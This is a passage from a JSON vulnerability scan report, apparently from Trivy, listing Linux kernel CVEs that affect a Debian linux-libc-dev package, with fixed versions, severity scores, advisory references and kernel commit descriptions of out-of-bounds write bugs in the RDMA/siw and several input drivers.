"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53277", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63993", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64265", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64287", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://errata.rockylinux.org/RLSA-2026:64775", "https://git.kernel.org/linus/f8fce75fedf73ac72aa09163deb8f4291fdcaad2%20%287.2-rc1%29", "https://git.kernel.org/stable/c/1d8ecd0cd696a5df0b2f72046a4ccee5d2a8ec2c", "https://git.kernel.org/stable/c/7366e6f4d2b4c7002b13fb01219e83679dad4127", "https://git.kernel.org/stable/c/893479015cb6442fd389d3b553ab3036c9541715", "https://git.kernel.org/stable/c/f8fce75fedf73ac72aa09163deb8f4291fdcaad2", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-7hml3tq26ecv.toml", "https://linux.oracle.com/cve/CVE-2026-64265.html", "https://linux.oracle.com/errata/ELSA-2026-64775-0.html", "https://lore.kernel.org/linux-cve-announce/2026072558-CVE-2026-64265-5f6c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64265", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://www.cve.org/CVERecord?id=CVE-2026-64265" ], "PublishedDate": "2026-07-25T10:17:06.667Z", "LastModifiedDate": "2026-08-17T05:17:25.277Z" }, { "VulnerabilityID": "CVE-2026-64268", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64268", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:22937084349660eb12ca6870a4ba9f2c6bf25b89e410a7721019b4eeb77012c3", "Title": "kernel: Kernel: Remote out-of-bounds write in RDMA/siw", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/siw: bound Read Response placement to the RREAD length\n\nIn drivers/infiniband/sw/siw/siw_qp_rx.c, siw_proc_rresp() places each\ninbound Read Response DDP segment at sge-\u003eladdr + wqe-\u003eprocessed and then\naccumulates wqe-\u003eprocessed, but it never checks the running total against\nthe sink buffer length on continuation segments. siw_check_sge() resolves\nand validates the sink memory only on the first fragment (the if (!*mem)\nbranch), and siw_rresp_check_ntoh() compares the cumulative length against\nwqe-\u003ebytes only on the final segment (the !frx-\u003emore_ddp_segs guard).\n\nA connected siw peer that answers an outstanding RREAD with Read Response\nsegments that keep the DDP Last flag clear, carrying more total payload\nthan the RREAD requested, drives wqe-\u003eprocessed past the validated sink\nbuffer; the next siw_rx_data() call writes out of bounds at\nsge-\u003eladdr + wqe-\u003eprocessed. siw runs iWARP over ordinary routable TCP,\nso the peer is the remote end of an established RDMA connection and needs\nno local privilege.\n\nBound every segment before placement, exactly as siw_proc_send() and\nsiw_proc_write() already do for their tagged and untagged paths, and\nterminate the connection with a base-or-bounds DDP error when the\nRead Response would overrun the sink buffer.\n\nThis is the second receive-path length fix for this file. A separate\nchange rejects an MPA FPDU length that underflows the per-fragment\nremainder in the header decode; that guard does not cover this case,\nbecause here each individual segment length is self-consistent and only\nthe accumulated placement offset overruns the buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-64268", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/7d29f7e9dbd844cae4d3e559cf78324b9642fd6b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/3ef7e052cbd05a8b13a51a07b185a39ec93ee1cf", "https://git.kernel.org/stable/c/423a78ff7928c2601013f73ec6d896f5597d0df5", "https://git.kernel.org/stable/c/595e6537ad1a210da32cbb9a7f91aa73090915ba", "https://git.kernel.org/stable/c/6bc89f34a4597f9f6d41f7a60c67a3153bfe8851", "https://git.kernel.org/stable/c/75c93cd3c421890f49ea93f0b978b9b7bb10e5e3", "https://git.kernel.org/stable/c/7d29f7e9dbd844cae4d3e559cf78324b9642fd6b", "https://git.kernel.org/stable/c/a31b6d18ded3cc32d9ee85a6ff0726d4274887b2", "https://git.kernel.org/stable/c/b2e26c955f8dd7e8d3f16c858db05245ea4fa817", "https://linux.oracle.com/cve/CVE-2026-64268.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026072559-CVE-2026-64268-629a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64268", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64268" ], "PublishedDate": "2026-07-25T10:17:07.013Z", "LastModifiedDate": "2026-10-19T21:17:28.783Z" }, { "VulnerabilityID": "CVE-2026-64270", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64270", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:250353decfa6e43223d83560a3b432987ca922088a0c33648c6ba4430ffcbc08", "Title": "kernel: Input: mms114 - reject an oversized device packet size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: mms114 - reject an oversized device packet size\n\nmms114_interrupt() reads a packet of touch data from the device into a\nfixed-size on-stack buffer\n\n\tstruct mms114_touch touch[MMS114_MAX_TOUCH];\n\nwhich holds MMS114_MAX_TOUCH (10) events of MMS114_EVENT_SIZE (8) bytes,\ni.e. 80 bytes. The length of the I2C read into it is taken verbatim from\nthe device:\n\n\tpacket_size = mms114_read_reg(data, MMS114_PACKET_SIZE);\n\tif (packet_size \u003c= 0)\n\t\tgoto out;\n\t...\n\terror = __mms114_read_reg(data, MMS114_INFORMATION, packet_size,\n\t\t\t(u8 *)touch);\n\npacket_size is a single device register byte (0x0F) and the only check\nis the lower bound packet_size \u003c= 0; it is never bounded against the\nsize of touch[]. A malfunctioning, malicious or counterfeit controller\n(or an attacker tampering with the I2C bus) can report a packet_size of\nup to 255, so __mms114_read_reg() writes up to 175 bytes past the end of\ntouch[] on the IRQ-thread stack: a stack out-of-bounds write that can\noverwrite the stack canary, saved registers and the return address.\n\nA well-formed device never reports more than the buffer holds, so reject\nan oversized packet and drop the report, consistent with the handler's\nother error paths, rather than reading past the buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64270", "https://git.kernel.org/linus/66725039f7090afe14c31bd259e2059a68f04023%20%287.2-rc1%29", "https://git.kernel.org/stable/c/040843281eebfa110d08fd7fb083fe6cb55cea14", "https://git.kernel.org/stable/c/39b12daf1adb80f9595fdfe584961deb80860cbb", "https://git.kernel.org/stable/c/5d2ea15ba03bf17ed143ff1a0995a4206edc3fb6", "https://git.kernel.org/stable/c/66725039f7090afe14c31bd259e2059a68f04023", "https://git.kernel.org/stable/c/8301c335305344d4da4ab9442b6a399dacfe5b8d", "https://git.kernel.org/stable/c/b78150729762d47c14fe29a2582bdca5568e62b8", "https://git.kernel.org/stable/c/d99ba93c35ff2d5276e9c2632967481bd53a79d0", "https://git.kernel.org/stable/c/f3d5e77b27fded71dcb97f409262bf0abba0410e", "https://linux.oracle.com/cve/CVE-2026-64270.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026072559-CVE-2026-64270-35c7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64270", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64270" ], "PublishedDate": "2026-07-25T10:17:07.293Z", "LastModifiedDate": "2026-11-06T17:18:44.497Z" }, { "VulnerabilityID": "CVE-2026-64271", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64271", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9783ae1c189ec89065997de0d2ee61c32bc6790a819dea7b46a154857cceee0f", "Title": "kernel: Input: touchwin - reset the packet index on every complete packet", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: touchwin - reset the packet index on every complete packet\n\ntw_interrupt() accumulates each non-zero serial byte into a fixed\nthree-byte buffer with a running index that is only reset once a full\npacket has been received *and* the device's two Y bytes agree:\n\n\ttw-\u003edata[tw-\u003eidx++] = data;\n\tif (tw-\u003eidx == TW_LENGTH \u0026\u0026 tw-\u003edata[1] == tw-\u003edata[2]) {\n\t\t...\n\t\ttw-\u003eidx = 0;\n\t}\n\nThe reset is gated on tw-\u003edata[1] == tw-\u003edata[2], a value the device\ncontrols. A malicious, malfunctioning or counterfeit Touchwindow\nperipheral can stream non-zero bytes whose 2nd and 3rd bytes differ: the\nindex reaches TW_LENGTH without the equality holding, is never reset, and\nkeeps growing, so tw-\u003edata[tw-\u003eidx++] walks off the end of the three-byte\narray and the rest of the heap-allocated struct tw, one attacker-chosen\nbyte at a time -- an unbounded, device-driven heap out-of-bounds write.\n\nReset the index on every completed packet and report an event only when\nthe two Y bytes match, like the other serio touchscreen drivers do.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64271", "https://git.kernel.org/linus/478cdd736f2ce3114f90e775d7358136d3977b94%20%287.2-rc1%29", "https://git.kernel.org/stable/c/044167cba2384bcd783547ad5e30ecd292b30919", "https://git.kernel.org/stable/c/3e6f007b43e2fc6546e21fa74ee62c38984a6672", "https://git.kernel.org/stable/c/431ad239f2924dff337c3fccb9246597c1b63185", "https://git.kernel.org/stable/c/478cdd736f2ce3114f90e775d7358136d3977b94", "https://git.kernel.org/stable/c/6c9f29f128dd4057404838259af4c645318487e1", "https://git.kernel.org/stable/c/70e4248793762df9832fd4fc2fc6ac7924572c36", "https://git.kernel.org/stable/c/a8d87184576c889759e3aab899799a482f1e1a5b", "https://git.kernel.org/stable/c/ed9b66905407eb3d02df1aaeed82eb7a7f0eb508", "https://linux.oracle.com/cve/CVE-2026-64271.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072559-CVE-2026-64271-b6b4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64271", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64271" ], "PublishedDate": "2026-07-25T10:17:07.41Z", "LastModifiedDate": "2026-11-06T17:18:44.697Z" }, { "VulnerabilityID": "CVE-2026-64272", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64272", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cbc6e269576c70b27eb3fd18a40f3156d7ec505d59342f2c6c2fadb18f47f238", "Title": "kernel: Input: mms114 - fix touch indexing for MMS134S and MMS136", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: mms114 - fix touch indexing for MMS134S and MMS136\n\nThe MMS134S and MMS136 touch controllers have an event size of 6 bytes\nrather than 8 bytes. When __mms114_read_reg() reads the touch data\npacket from the device into the touch buffer, the events are packed\ntightly at 6-byte intervals. However, the driver iterates through the\nevents using standard C array indexing (touch[index]), where each\nelement is sizeof(struct mms114_touch) (8 bytes) apart. As a result, any\ntouch events beyond the first one are read from incorrect offsets and\nparsed improperly.\n\nFix this by explicitly calculating the byte offset for each touch event\nbased on the device's specific event size.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64272", "https://git.kernel.org/linus/a6ac4e24c1a8a533bb61035184fdcc7eede4cc8d%20%287.2-rc1%29", "https://git.kernel.org/stable/c/062bbe55a1f6d77b89d07135ba3b09f97bfac1cb", "https://git.kernel.org/stable/c/112666835071d935fef764aab590339e97216d4a", "https://git.kernel.org/stable/c/38de2979d90d8cd94f18e0567be4c8342d0e0410", "https://git.kernel.org/stable/c/75b12874b4172533b9efc349db328cb1a59c3981", "https://git.kernel.org/stable/c/7c00a0787af7164438bdbc97fcae9733cfc58d21", "https://git.kernel.org/stable/c/a6ac4e24c1a8a533bb61035184fdcc7eede4cc8d", "https://git.kernel.org/stable/c/a747c4eb02656afdbd92eea83b88e92715a23977", "https://linux.oracle.com/cve/CVE-2026-64272.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026072500-CVE-2026-64272-8d9f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64272", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64272" ], "PublishedDate": "2026-07-25T10:17:07.55Z", "LastModifiedDate": "2026-11-06T17:18:44.893Z" }, { "VulnerabilityID": "CVE-2026-64273", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64273", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:37a147a4d69a42c4d93aff8d86e43cb622b606478fd7735e0926eca0e941b0ff", "Title": "kernel: Input: iforce - bound the device-reported force-feedback effect index", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: iforce - bound the device-reported force-feedback effect index\n\niforce_process_packet() handles a status report (packet id 0x02) by\ntaking a force-feedback effect index straight from the device wire and\nusing it to address the per-effect state array:\n\n\ti = data[1] \u0026 0x7f;\n\tif (data[1] \u0026 0x80) {\n\t\tif (!test_and_set_bit(FF_CORE_IS_PLAYED,\n\t\t\t\t iforce-\u003ecore_effects[i].flags))\n\t\t\t...\n\t} else if (test_and_clear_bit(FF_CORE_IS_PLAYED,\n\t\t\t\t iforce-\u003ecore_effects[i].flags)) {\n\t\t...\n\t}\n\nThe index is masked only with 0x7f, so it ranges 0..127, but\ncore_effects[] holds only IFORCE_EFFECTS_MAX (32) entries. For an index\nof 32..127 the test_and_set_bit()/test_and_clear_bit() is an\nout-of-bounds single-bit read-modify-write past the array. core_effects[]\nis the second-to-last member of struct iforce, so the write lands in the\ntrailing members and beyond the embedding kzalloc()'d iforce_serio /\niforce_usb object.\n\ndata[1] is unvalidated device payload on both transports (the USB\ninterrupt endpoint and serio), and the status path is not gated on force\nfeedback being present, so a malicious or counterfeit device can set or\nclear a bit at an attacker-chosen offset past the object.\n\nReject an out-of-range index instead of indexing with it. Bound against\nthe array dimension IFORCE_EFFECTS_MAX rather than dev-\u003eff-\u003emax_effects so\nthe check guarantees memory safety regardless of how many effects the\ndevice registered. A legitimate \"effect started/stopped\" status always\ncarries an index below IFORCE_EFFECTS_MAX, so well-formed devices are\nunaffected; the neighbouring mark_core_as_ready() loop is already bounded\nand is left untouched.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64273", "https://git.kernel.org/linus/0e9943d2e4c63496b6ca84bc66fd3c71d40558e2%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0e9943d2e4c63496b6ca84bc66fd3c71d40558e2", "https://git.kernel.org/stable/c/6c0f2901c9d325d4a0574c4237fd507810d225ff", "https://git.kernel.org/stable/c/70019779325f2bb5f5a4098e91e79c655f50fcef", "https://git.kernel.org/stable/c/a40250f97c312e000e3616c9074022311a0efbc3", "https://git.kernel.org/stable/c/b1b79e89bc33e4c682d3df7ae2aadc62b5a0c310", "https://git.kernel.org/stable/c/c21295616a8a52b9a5f18cd4ca8c73030eda3d4f", "https://git.kernel.org/stable/c/d10b0507fa0f5b46764b178e3271f9012f2df677", "https://git.kernel.org/stable/c/e5fa31f0550b55d80045669ae9080dd5b88abffa", "https://lore.kernel.org/linux-cve-announce/2026072500-CVE-2026-64273-0188@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64273", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64273" ], "PublishedDate": 